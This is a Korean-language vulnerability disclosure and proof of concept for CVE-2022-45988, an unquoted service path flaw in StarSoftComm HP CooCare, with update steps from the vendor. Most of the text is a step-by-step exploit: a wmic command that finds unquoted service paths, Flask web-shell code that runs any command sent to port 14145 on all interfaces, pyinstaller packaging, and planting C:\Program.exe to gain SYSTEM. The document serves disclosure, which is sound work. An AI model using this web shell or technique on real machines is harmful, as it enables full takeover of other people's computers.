CVE-2022-45988 StarSoftComm HP CooCare 권한 상승 취약점

####################################################

hp-security-alert에 연락했습니다. 이 버그는 수정되었습니다. StarSoftComm CooCare 관련 [HP-PSRT-IR #4106]

공급업체가 다음 정보를 제공했습니다:

다음 단계에 따라 업데이트하십시오:

eService 실행
약 3분 대기
eService 닫고 다시 실행
버전이 v5.364 이상인지 확인

#####################################

StarSoftComm HP CooCare에 권한 상승 취약점이 존재하며, 공격자가 권한 수준을 상승시킬 수 있습니다.
e管家超级版는 HP星14 pro에 내장된 원격 진단 소프트웨어로, StarSoftComm(软通科技) 제품입니다.

Windows 11 22621.819 HP LAPTOP HP Pavilion Plus 14인치 노트북 14-eh0000 (56D77AV)에서 테스트

영향받는 버전: CooCare v5.364 미만

취약점 재현

첫 번째 단계: wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

서비스 찾기 (위 CMD 명령어를 사용하여 인용되지 않은 서비스를 찾음)

서비스 이름은 Windows Application Management Service입니다. 줄여서 WinAppMgmt라고도 합니다.

해당 서비스는 StarSoftComm CooCare에서 제공됩니다.

두 번째 단계: 악성 프로그램 준비

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/')
def hello_world():
    r = request.args.getlist('cmd')  #Reception? cmd= parameter
    a=os.popen(r[0])  #Execute system commands
    l = a.read()
    return l  #return

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=14145, debug=True)  #Listen HTTP port 14145

Python3 Flask를 사용하여 악성 exe를 작성했습니다. HTTP 14145 포트를 수신하고 시스템 명령을 실행할 수 있습니다.

명령어 pyinstaller.exe --onefile --windowed -F -w python_test.py를 사용하여 악성 exe를 생성합니다.

세 번째 단계: 악성 코드를 C:\ 경로에 배치하고 이름을 Program.exe로 변경

네 번째 단계: Windows Application Management Service 시작

Windows Application Management Service가 이미 실행 중이라면 다시 시작할 수 있습니다.

다섯 번째 단계: Windows Application Management Service가 시작되고 시스템 명령이 실행될 때까지 대기

C:\Program.exe가 system 권한으로 실행됨

작업 관리자에서 Windows Application Management Service가 SYSTEM 권한으로 실행되는 것을 확인한 후, 브라우저를 열어 http://127.0.0.1:14145?cmd=whoami 입력

기다립니다...

NT SYSTEM

CVE-2022-45988

인기